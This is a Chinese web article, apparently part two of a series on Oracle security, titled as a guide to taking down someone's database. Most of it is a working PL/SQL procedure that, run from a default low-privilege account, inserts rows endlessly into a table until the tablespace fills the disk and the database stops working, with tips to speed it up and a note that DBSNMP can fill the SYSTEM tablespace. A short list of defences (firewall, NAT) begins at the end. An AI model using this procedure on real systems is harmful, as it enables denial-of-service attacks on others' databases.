如何搞垮他的数据库——谈Oracle安全
2007-05-10 12:19:08 来源:WEB开发网核心提示: 什么意思呢?意思是我们的这个用户是数据缺省是建在USERS表空间上的,拥有建表等权限,如何搞垮他的数据库——谈Oracle安全(2),而USERS表空间的磁盘使用是无限制的,聪明的读者应该明白我们可以在这里写入很多数据直到占满它的磁盘,实际上防火墙可以有效的阻止扫描 ,如果做了NAT、地址
什么意思呢?
意思是我们的这个用户是数据缺省是建在USERS表空间上的,拥有建表等权限,而USERS表空间的磁盘使用是无限制的,聪明的读者应该明白我们可以在这里写入很多数据直到占满它的磁盘,造成数据库无法使用......
我们试试吧
先建张表
SQL> CREATE TABLE TEST (A CHAR(30));
这张TEST表只有一个字段A
再写个PL/SQL过程
DECLARE
v_number varchar2(30);
m_number varchar2(30):=999999999999999999999999999999;
--m_number的值代表了插入多少行数据,可修改但不能超过30位。
begin
FOR v_number IN 1..m_number LOOP
insert into TEST(A) values(m_number);
commit;
end LOOP;
end;
/
上面的PL/SQL过程表示给TEST表中A列循环插入'999999999999999999999999999999'值,共计999999999999999999999999999999行。以每行30 byte来算,共计2000000多亿T大小吧,即便他是IBM大鲨鱼的阵列存储,也扛不住。
当然,你也可以增加几个列,减少m_number值,可以加快速度的。
这里再提醒大家一个Oracle缺省用户DBSNMP,几乎所有稍高版本的典型安装都会创建它,危险指数高于SCOTT,因为它是创建在SYSTEM表空间的......F..t
讲了半天,DBA们快看看自己的系统,一般来说成功率相当高。下面我们开始讲讲如何作好安全防护:
1、启用防火墙。
很多单位的数据库都没有防火墙保护,或防火墙配置为透明。实际上防火墙可以有效的阻止扫描 ,如果做了NAT、地址限制、禁止ICMP等就更好了,让别人在外网看不到你的数据库。
2、加大多层结构数据库应用的建设。
赞助商链接